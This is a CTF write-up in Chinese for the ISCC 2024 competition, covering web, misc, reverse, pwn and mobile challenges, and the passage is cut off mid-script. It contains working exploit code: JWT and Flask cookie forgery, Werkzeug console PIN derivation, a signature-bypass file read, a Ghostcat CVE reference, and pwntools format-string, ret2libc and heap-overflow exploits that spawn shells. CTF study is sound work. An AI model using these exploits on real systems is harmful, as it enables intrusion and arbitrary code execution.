ISCC 2024

ISCC 2024

欢迎关注微信公众号交流赛题
微信公众号

练武题

web

还没想好名字的塔防游戏

f12查看源码,world.js,查看提示

image-20240506212159551

Bears Brew Storms
Opal Oceans Glow
Elves Whisper Wonders

网站首页看到

Mystic Defense War: The Secret of Guardian Towers and Magical Monsters

image-20240506212426846

去掉小写o与a首字母组合刚好18位

Flask中的pin值计算

image-20240506112746660

解码得到/getusername

image-20240506112830697

访问

image-20240506112919214

再次输入提示

image-20240506112944467

访问路由,app

image-20240506113100952

image-20240506113243104

一秒内计算数学,写脚本

import requests

url1='http://101.200.138.180:10006/crawler?answer='
url2='http://101.200.138.180:10006/get_expression'
s = requests.Session()
res=s.get(url2)
math=res.text.split('"')
math1=math[3].replace("\\u00d7",'*').replace('\\u00f7','/')
result1 = eval(math1)
result1=str(result1)
result2=s.get(url1+result1)
print(result2.text)

image-20240506113434475

访问路由,解码

{“alg”:“HS256”,“typ”:“JWT”}{“name”:“donate”,“quantity”:1}

image-20240506113648442

看源码部分,获取功德代码是这段,

 .then(data => {
                document.querySelector('h1').textContent = '当前功德:' + data.gongde;
                document.querySelectorAll('h1')[1].textContent = data.message;
                
<p style="display: none;">ISCC_muyu_2024</p>

将donate->gongde,quantity拉大,盲猜hash256是ISCC_muyu_2024构造jwt

image-20240506115917754

敲木鱼抓包更换jwt,给出地址:02:42:ac:18:00:02提示/machine_id

点击vip拿到新的jwt

image-20240506123800776

{
  "exp": 1714973848,
  "iat": 1714970248,
  "jti": "slBj9vxEIRLuzzXLPqu0AA",
  "nbf": 1714970248,
  "role": "member",
  "username": "ISCCmember"
}

需要role改为supervip,脚本构造

from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decode


def topic(topic):
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    print(parsed_payload)
    parsed_payload["role"] = "vip"
    print(dumps(parsed_payload, separators=(',', ':')))
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    print(fake_payload)
    return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '

print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ5NzQ1MTMsImlhdCI6MTcxNDk3MDkxMywianRpIjoiN3hjY05VNWZicF9iMUh6a3BRMWhldyIsIm5iZiI6MTcxNDk3MDkxMywicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.nvxihIURp-b8zrgZRzdXmM0U4ERy_8TKYRkxGYq7sUemVulia9Ssh6ojLtJyW-ZVjK4G6-HYhfgvyP1Fcq90uGu51YDDgRNJi4h0ajuraTHCBWn0h91WAnC_YAtCnitVDBOY8j1eB_i1WdIbS2o-jiM0prPYMROzPqv8FVTUCss3QsG4MN9H3LqfvHdvlejIJLAxpeyIdbDudwKZ2cLCfxvfo4mI7sffqLUyj86FdlsANR7aaMue5OZIg4bpizagawAFCpUKKjwL3uqghUShiVhPUz2oE4XNoFvSH9Dl0S7qhd3Phukc9tRuIFhLRGn-_FLN8jkiJTcVXZXEKSUuEw'))

bp传参,显示welcome_to_iscc_club,应该是supervip

的keyimage-20240506125133954

使用flask_session_cookie_manager3.py伪造jwt

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))


image-20240506125530802

eyJyb2xlIjoic3VwZXJ2aXAifQ.Zjhihg.4pLyp5XEkqZlgXxoktSOYqyKWik

bp修改svipcookie得到acff8a1c-6825-4b9b-b8e1-8983ce1a8b94,应该就是machine-id

image-20240506125646005

pin脚本

import hashlib
from itertools import chain
probably_public_bits = [
    'pincalculate',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.11/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '1941888917899902',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'acff8a1c-6825-4b9b-b8e1-8983ce1a8b94'# get_machine_id(), /etc/machine-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

运行使用payload:http://101.200.138.180:10006/console?pin=947-885-653

代码审计

题目

#! /usr/bin/env python
 # encoding=utf-8
 from flask import Flask
 from flask import request
 import hashlib
 import urllib.parse
 import os
 import json
 app = Flask(__name__)
 #随机16位
secret_key = os.urandom(16)
 class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if not os.path.exists(self.sandbox):
            os.mkdir(self.sandbox)
    def Exec(self):
        result = {}
        result['code'] = 500
        if self.checkSign():
            if "scan" in self.action:
                resp = scan(self.param)
                if resp == "Connection Timeout":
                    result['data'] = resp
                else:
                    print(resp)
                    self.append_to_file(resp)  # 追加内容到已存在的文件
                    result['code'] = 200
            if "read" in self.action:
                result['code'] = 200
                result['data'] = self.read_from_file()  # 从已存在的文件中读取
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result
    def checkSign(self):
        if get_sign(self.action, self.param) == self.sign:
            return True
else:
 return False
 #调用了get_sign,
@app.route("/geneSign", methods=['GET', 'POST'])
 def geneSign():
 param = urllib.parse.unquote(request.args.get("param", ""))
 action = "read"
 print(request.args.get("param", ""))
 return get_sign(action, param)
 @app.route('/De1ta', methods=['GET', 'POST'])
 def challenge():
 print(request.cookies.get("action"))
 print(request.args.get("param", ""))
 print(request.cookies.get("sign"))
 action = urllib.parse.unquote(request.cookies.get("action"))
 param = urllib.parse.unquote(request.args.get("param", ""))
 sign = urllib.parse.unquote(request.cookies.get("sign"))
 ip = request.remote_addr
 if waf(param):
 return "No Hacker!!!!"
 task = Task(action, param, sign, ip)
 return json.dumps(task.Exec())
 def scan(param):
 try:
 with open(param, 'r') as file:
 content = file.read()
 return content
 except FileNotFoundError:
 return "The file does not exist"
 def md5(content):
 return hashlib.md5(content.encode()).hexdigest()
 def get_sign(action, param):
 return hashlib.md5(secret_key + param.encode('latin1') + 
action.encode('latin1')).hexdigest()
 def waf(param):
 check = param.strip().lower()
 if check.startswith("gopher") or check.startswith("file"):
 return True
 else:
 return False
 if __name__ == '__main__':
 app.debug = False
app.run()

访问geneSign得到签名hash

image-20240510154857460

由随机的密钥+提交的参数+一个动作 (key+param+action) 这里动作默认为scan。

访问De1ta,由cookies和提交的参数,会去执行Task类的Exec方法。 Exec方法里会根据提交的参数去生成签名Hash,去checkSign。 当签名验证成功后,去根据动作去追加文件,去读取文件。

根据上面和题目提示已经知道了要读取flag.txt。 所以必须过checkSign方法。 所以路由De1ta生成的签名和路由geneSign的签名必须一样。 2次提交中,key是随机生成的,是一样的,不用变。 param是人工手动提交的。 路由geneSign的action是默认的scan。 所以第一次路由geneSignparam提交: flag.txtread 此时生成的hash为: hasH(随机的Key+flag.txtread+“scan”) 请求包

GET /geneSign?param=flag.txtread HTTP/1.1
 Host: 101.200.138.180:12315
 Cache-Control: max-age=0
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 
like Gecko) Chrome/124.0.0.0 Safari/537.36
 Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
 e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9
 Connection: close

响应包

HTTP/1.1 200 OK
 Server: Werkzeug/3.0.2 Python/3.12.3
 Date: Fri, 10 May 2024 05:16:59 GMT
 Content-Type: text/html; charset=utf-8
 Content-Length: 32
 Connection: close
 19528176342cf0870f5327eca3e88776

image-20240510155755982

第二次路由De1ta提交flag.txt cookies里面附上hash,和action readscan 第二次生成的Hash hasH(随机的Key+flag.txt+“readscan”)

请求包

GET /De1ta?param=flag.txt HTTP/1.1 Host: 101.200.138.180:12315 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,  like Gecko) Chrome/124.0.0.0 Safari/537.36 Accept:  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Cookie: sign=19528176342cf0870f5327eca3e88776; action=readscan Accept-Language: zh-CN,zh;q=0.9 Connection: close

响应包

HTTP/1.1 200 OK
 Server: Werkzeug/3.0.2 Python/3.12.3
 Date: Fri, 10 May 2024 05:17:09 GMT
 Content-Type: text/html; charset=utf-8
 Content-Length: 47
 Connection: close
 {"code": 200, "data": "ISCC{dhc7LLugXaz*ezt1}"}

image-20240510155844420

原神启动

直接cve-2020-1938打

image-20240510160733761

源码

CVE-2020-1938/CVE-2020-1938.py at master · xindongzhuaizhuai/CVE-2020-1938 (github.com)

misc

RSA_KU

题目

n = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977
e = 65537
c = 61918852171742812739170043437002663063220951248500520391346547769626444018847465000233524935204828371169075383168689291787795697907657466404998448030495394418574086934880165211797319092676677396225423260560646131473610171818604200105740824508871825045866770557049128059598517787931221212352116693867787324441
#(p-2)*(q-1) = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668067056973833292274532016607871906443481233958300928276492550916101187841666991944275728863657788124666879987399045804435273107746626297122522298113586003834
#(p-1)*(q-2) = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668066482326285878341068180156082719320570801770055174426452966817548862938770659420487687194933539128855877517847711670959794869291907075654200433400668220458

直接写脚本

import gmpy2
from Crypto.Util.number import *

n = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977
e = 65537
c = 61918852171742812739170043437002663063220951248500520391346547769626444018847465000233524935204828371169075383168689291787795697907657466404998448030495394418574086934880165211797319092676677396225423260560646131473610171818604200105740824508871825045866770557049128059598517787931221212352116693867787324441
n1 = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668067056973833292274532016607871906443481233958300928276492550916101187841666991944275728863657788124666879987399045804435273107746626297122522298113586003834  # (p-2)*(q-1)
n2 = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668066482326285878341068180156082719320570801770055174426452966817548862938770659420487687194933539128855877517847711670959794869291907075654200433400668220458  # (p-1)*(q-2)
ppq = (n - n1 + n - n2 + 4) // 3  # p+q
'''n-(p-2)*(q-1)=pq-(pq-p-2q+2)=p+2q-2 ①
   n-(p-1)*(q-2)=pq-(pq-2p-q+2)=2p+q-2 ②
   ①+②:n-(p-2)*(q-1)+n-(p-1)*(q-2)=3*(p+q)-4
   p+q=(n-(p-2)*(q-1)+n-(p-1)*(q-2)+4)/3'''
phi = n - ppq + 1  # phi=(p-1)*(q-1)=pq-(p+q)+1
d = gmpy2.invert(e, phi)
flag = long_to_bytes((pow(c, d, n)))
print(flag)
工业互联网模拟仿真数据分析

题目一:ip长度固定的只有1.2-1.4

image-20240506214614206

192.168.1.2,192.168.1.4

题目二:

tshark -r 工业互联网模拟仿真数据.pcap -T fields -e data.data -Y “data.len==12”

image-20240506220333459

明显确定字段就是2024

题目三:

192.168.1.3-192.168.1.5时间大致相同

文末第五组时间间隔是固定的0.6

题目四:

192.168.1.3,192.168.1.2,192.168.1.6

image-20240506223611840

题目五:

五个字符校验算法,假设CRC16,CRC32

倒数位必为1 尝试CRC16CRC32并尝试0-10为起始位

为CRC16,4,1时成功提交

adcca5c2a82064a17a645d35b6b054cd

Number_is_the_key

image-20240507000515361

修改后缀zip

解压后在worksheets运行脚本

import xmltodict
import json


def xml_to_json(xml_string):
    xml_dict = xmltodict.parse(xml_string)
    json_data = json.dumps(xml_dict, indent=4)
    return json_data

f = open("sheet1.xml", mode="r").read()
json_content = xml_to_json(f)
json_content = json.loads(json_content)

data = json_content["worksheet"]["sheetData"]["row"]

t = []
for num in range(len(data)):
    for d in data[num]["c"]:
        t.append(d["@r"])

from openpyxl import Workbook
from openpyxl.styles import PatternFill

wb = Workbook()
ws = wb.active

for d in t:
    cell_to_fill = ws[d]
    fill = PatternFill(start_color='00FF00', end_color='FFFFFF', fill_type='solid')
    cell_to_fill.fill = fill

wb.save("1.xlsx")

得到1.xlsx,调整行高与行列扫码

image-20240507002742383

FunZip

下载附件,使用puzz工具解码

image-20240505223307598

精装四合一

四个图片中每个图片的文件尾部都带着一串数据,我们看到这些数据都异或0xff都会是一个zip文件的一 部分,那么写个脚本将这四个文件的文件尾提取出来再进行异或0xff,然后再拼接,会得到一个zip

def trim_and_xor_with_ff(input_filename, output_filename, target_hex):

    # 将16进制字符串转换为字节
    target_bytes = bytes.fromhex(target_hex.replace(' ', ''))
    # 初始化一个标志位,表示是否已经找到目标字节序列
    found_target = False
    with open(input_filename, 'rb') as infile, open(output_filename, 'wb') as outfile:

# 读取文件的字节
        while True:
            chunk = infile.read(4096)  # 一次读取4096字节
            if not chunk:
                break  # 如果文件读取完毕,则退出循环
    # 检查目标字节序列是否在块中
            index = chunk.find(target_bytes)
            if index != -1:
        # 如果找到,则只处理目标字节序列之后的部分
                if not found_target:
            # 跳过包含目标字节序列的块中目标之前的部分
                    chunk = chunk[index + len(target_bytes):]
                    found_target = True
            # 对剩余部分进行异或操作
                xor_chunk = bytes([b ^ 0xFF for b in chunk])
                outfile.write(xor_chunk)
            elif found_target:
        # 如果已经找到目标字节序列,则直接对整个块进行异或操作
                xor_chunk = bytes([b ^ 0xFF for b in chunk])
                outfile.write(xor_chunk)
        # 如果尚未找到目标字节序列,则不处理该块(因为我们只关心目标之后的数据)
# 使用函数
input_filename = 'left_hand_invert.png'  # 输入文件名
output_filename = '2'  # 输出文件名
target_hex = 'AE426082'  # 要查找的16进制字符串
trim_and_xor_with_ff(input_filename, output_filename, target_hex)
input_filename = 'left_foot_invert.png'  # 输入文件名
output_filename = '1'  # 输出文件名
trim_and_xor_with_ff(input_filename, output_filename, target_hex)
input_filename = 'right_hand_invert.png'  # 输入文件名
output_filename = '4'  # 输出文件名
trim_and_xor_with_ff(input_filename, output_filename, target_hex)
input_filename = 'right_foot_invert.png'  # 输入文件名
output_filename = '3'  # 输出文件名
trim_and_xor_with_ff(input_filename, output_filename, target_hex)
#文件拼接
f1=open('1','rb')
f2=open('2','rb')
f3=open('3','rb')
f4=open('4','rb')
f5=open('1.zip','wb')
for i in range(3176):

    f5.write(f1.read(1))
    f5.write(f2.read(1))
    f5.write(f3.read(1))
    f5.write(f4.read(1))
f5.write(f1.read(1))

zip爆破密码是65537,这是个e值

ctrl+a全选,字体,取消隐藏

image-20240507182651281

16920251144570812336430166924811515273080382783829495988294341496740639931651

检查文件头word也是zip

image-20240507182757605

看到trueflag

image-20240507192359148

010打开,是16进制

image-20240507192414323

rsa脚本

import gmpy2
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex
import binascii
e = 65537
c = 0x1cb2d409f66fa525fe6a300cca1e81fc4edf1f2aa2a70283a48d0840e6333864
#1.将n分解为p和q
p = 100882503720822822072470797230485840381
q = 167722355418488286110758738271573756671
n = p*q
phi = (p-1)*(q-1)
#2.求d
d = gmpy2.invert(e,phi)
#3.m=pow(c,d,n)
m = gmpy2.powmod(c,d,n)
print(long_to_bytes(m))

reverse

迷失之门

无壳

image-20240507194148160

脚本

import re

def find_sequence_and_concatenate(file_path):
    pattern = b'\x0F\xB6\x00\x3C(.)' 

    with open(file_path, 'rb') as file:
        data = file.read()
    matches = re.findall(pattern, data)
    result = ''.join([match.decode('latin1') for match in matches])
    return result
file_path = 'ez.exe'
result = find_sequence_and_concatenate(file_path)
print(result)
enc = bytes(result, encoding='UTF-8')

key = [i for i in b"DABBZXQESVFRWNGTHYJUMKIOLPC"]
# print([i + 51 for i in key])

index = []
for i in enc:
    i_char = chr(i)
    if i_char in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
        index.append("ABCDEFGHIJKLMNOPQRSTUVWXYZ".index(i_char))
    elif i_char in "abcdefghijklmnopqrstuvwxyz":
        index.append("abcdefghijklmnopqrstuvwxyz".index(i_char) + 26)
    elif i_char in "0123456789+/-=!#&*()?;:*^%":
        index.append("0123456789+/-=!#&*()?;:*^%".index(i_char) + 52)
    else:
        print("wrong")
# print(index)

for i in range(len(index)):
    print(chr((key[i] + index[i])), end='')
DLLCode

首先拿到赛题,我们先分析一下,这里有一个.dll文件一看就是需要运行时可能需要的。 32bit,无壳

image-20240510203354435

直接看main()函数:

image-20240510203415257

C++写的需要规整一下格式,分析后,拿到思路: 首先输入一个字符串(flag)—>进行编码—>进行了一个加密操作—>比较输出结果。 接下来看一下加密的部分: sub_4014D0(v30, v33);

这个就是重新进行索引。 到后面可以发现这里重新索引后就是输入的后半部分。 前部分进行了异或,异或的值为“ISCC” 拿到比较的值:v8

s = [0,16,56,21,10,61,113,43,11,0,20,3,67,89,83,89,70,84,64,103,116,125,117,98]
s1 = s[:12] 
v7 = s[12:] 
v4 = [2, 0, 3, 1, 6, 4, 7, 5, 10, 8, 11, 9] 
s2 = [0] * 12
for i in range(len(s2)):
    s2[i] = v7[v4[i]]

key = "ISCC"
for i in range(len(s1)):
    s1[i] ^= ord(key[i % len(key)])
result = ""
for i in range(len(s1)):
    result += chr(s1[i]) + chr(s2[i])
print(result)

image-20240510203452441

pwn

chaos

image-20240507125647348

跑一下,看出是个堆

image-20240507130258931

gets存在溢出风险

先用1分配地址,5释放内存块,ptr变悬挂指针,2对buf[0]释放,5构造数据满足strncmp

运行

1

64

asd

5

64

asf

2

0

5

64

FlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlag

ls拿到flag
easyshell

看main函数

image-20240510212515962

check

image-20240510212505883

from pwn import *

context(log_level='DEBUG')
p = remote('182.92.237.102', 10011)
p.recvuntil(b"shell")
payload = b'flagis %15$p.%17$p'
p.sendline(payload)
s = p.recvuntil(b'flag')

# 获取canary和piebase
canary,main152 = s[3:].split(b' ')[0].split(b'.')
piebase = int(main152,16)-0xfe-0x1422
canary = int(canary,16)
success("canary: "+hex(canary)+"\npiebase:"+hex(piebase))
# 计算backdoor函数地址,+5为了跳过push
backdoor_addr = piebase+0x1289+5
payload = b'a'*(0x40-8)+p64(canary)+b'\0'*8+p64(backdoor_addr)
p.sendline(payload)
p.recvuntil(b'"help"')
p.sendline(b'exit')
p.interactive()
Flag

checksec分析

image-20240511082713481

from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='i386',os='linux')

#io = process('./attachment-12')
io = remote('182.92.237.102',10012)
io.recvuntil("what's the content?")
payload = '%p-'*18 + 'aaaa%p'
#gdb.attach(io)
io.sendline(payload)
io.recvuntil('aaaa')
canary = int(io.recv(10),16)
success('canary---->'+hex(canary))
io.recvuntil('Input:\n')
puts_plt = 0x08049130
puts_got = 0x804C01C
pop_ebx = 0x08049022
ret = 0x0804900e
#gdb.attach(io)
back = 0x0804931B
main = 0x80494C2
payload = b'a'*(0x94-0xc) + p32(canary) + p32(0)*3 +p32(puts_plt) + p32(back) + p32(puts_got)
io.send(payload)
puts = u32(io.recv(4))
success('puts---->'+hex(puts))
pause()
system = puts - 0x06d1e0 +  0x041360
binsh = puts - 0x06d1e0 +   0x18c363

io.recvuntil('Input:\n')
payload = b'a'*(0x94-0xc) + p32(canary) + p32(0)*3 + p32(system) + p32(0) + p32(binsh)
#gdb.attach(io)
io.send(payload)
io.interactive()
shopping

image-20240507152443568

查看保护

image-20240507152626306

利用线程,堆溢出,没有free函数,有system函数,bss段上有函数指针。申请堆块把mmap的 内存分配完,使线程arena重新分配到高地址,之后利用堆溢出覆盖arena,伪造一个 fastbin 到 bss 段附近。之后申请fastbin并改bss上的write为system

from pwn import *
path = "./attachment-11"
sh = remote('182.92.237.102',10019)
elf = ELF(path)
system_plt = elf.plt['system']
sh.sendlineafter('Enter the password:', "I'm ready for shopping")
def add(size, n, content=''):

    sh.sendlineafter(b'Action:', '1')
    sh.sendlineafter(b'Item ID:', str(size))
    sh.sendlineafter(b'Quantity:', str(n))
    if content == '':
        sh.sendlineafter(b'Add gift message? (0/1):', '0')
    else:
        sh.sendlineafter(b'Add gift message? (0/1):', '1')
        sh.sendafter(b'Message: ', content)
for i in range(12):
    add(0x4000, 1000)
add(0x4000, 262, '0' * 0x3FF0)
# 溢出,修改thread_arena,将bss上的fake_chunk接到fastbin 里
payload = b'1' * 0x50 + p32(0) + p32(3) + 10 * p64(0x60201d)
sleep(0.2)
sh.send(payload)
sleep(0.2)
payload = b'/bin/sh'.ljust(0xB, b'\x00') + p64(system_plt)
payload = payload.ljust(0x60, b'b')
add(0x60, 0, payload)
sh.interactive()

mobile

Puzzle_Game

打开逆向软件分析

QQ图片20240502221747

脚本

import java.nio.charset.StandardCharsets; import java.util.Base64;
import java.util.Random;


public class Test {
    private static String combineStrings(String arg1, String arg2) { return arg1 + arg2;
    }
    private static byte[] customEncrypt(byte[] arg4, byte[] arg5) { byte[] v0 = new byte[arg4.length];
        int v1;
        for(v1 = 0; v1 < arg4.length; ++v1) {
            v0[v1] = (byte)(arg4[v1] ^ arg5[v1 % arg5.length]);
        }
        return v0;
    }
    public static String encrypt(String arg3, String arg4) { byte[] v0 = generateSalt(16);
        byte[] v3 = customEncrypt(combineStrings(arg3, arg4).getBytes(StandardCharsets.UTF_8), v0);
        byte[] v4 = new byte[v0.length + v3.length];
        System.arraycopy(v0, 0, v4, 0, v0.length); System.arraycopy(v3, 0, v4, v0.length, v3.length); return Base64.getEncoder().encodeToString(v4);
    }


    public static String encrypt2(String arg3) {
        byte[] v3 = arg3.getBytes(StandardCharsets.UTF_8); int v0 = 0;
        int v1;
        for(v1 = 0; v1 < v3.length; ++v1) {
            v3[v1] = (byte)((v3[v1] + 0x7F) % 0x100);
        }


        byte[] v1_1 = new byte[v3.length]; while(v0 < v3.length) {
            v1_1[v0] = (byte)(v0 % 2 == 0 ? v3[v0] ^ 0x7B : v3[v0] ^ 0xEA);
            ++v0;
        }

        return Base64.getEncoder().encodeToString(v1_1);
    }
    private static byte[] generateSalt(int i) { byte[] bArr = new byte[i];
        new Random(2983L).nextBytes(bArr); return bArr;
    }



    public static void main(String[] args) { System.out.println("ISCC{"+encrypt2(encrypt("04999999",
            "gwC9nOCNUhsHqZm")).substring(0, 32)+"}");
    }
}

image-20240507202026609

擂台题

misc

重“隐”

使用puzz查看图片,压缩包

image-20240505225702027

foremost分离压缩包

image-20240505225522675

解压需要密码,先看音频文件

image-20240506000034957

解码

image-20240506000138771

827342312231334132->九宫格->urhdbdfge

输入00001303.zip密码

image-20240506000238245

解码得到前半部分flag

image-20240506000322164

Deepsound打开音频需要密码

image-20240506104634374

使用deepsound2john.py脚本获取密码hash值,并使用kali的john爆破工具

#! python3
 
import logging
import os
import sys
import textwrap
 
def decode_data_low(buf):
  return buf[::2]
 
def decode_data_normal(buf):
  out = bytearray()
  for i in range(0, len(buf), 4):
    out.append((buf[i] & 15) << 4 | (buf[i + 2] & 15))
  return out
 
def decode_data_high(buf):
  out = bytearray()
  for i in range(0, len(buf), 8):
    out.append((buf[i] & 3) << 6     | (buf[i + 2] & 3) << 4 \
             | (buf[i + 4] & 3) << 2 | (buf[i + 6] & 3))
  return out
 
 
def is_magic(buf):
  # This is a more efficient way of testing for the `DSCF` magic header without
  # decoding the whole buffer
  return (buf[0] & 15)  == (68 >> 4) and (buf[2]  & 15) == (68 & 15) \
     and (buf[4] & 15)  == (83 >> 4) and (buf[6]  & 15) == (83 & 15) \
     and (buf[8] & 15)  == (67 >> 4) and (buf[10] & 15) == (67 & 15) \
     and (buf[12] & 15) == (70 >> 4) and (buf[14] & 15) == (70 & 15)
 
def is_wave(buf):
  return buf[0:4] == b'RIFF' and buf[8:12] == b'WAVE'
 
 
def process_deepsound_file(f):
  bname = os.path.basename(f.name)
  logger = logging.getLogger(bname)
 
  # Check if it's a .wav file
  buf = f.read(12)
  if not is_wave(buf):
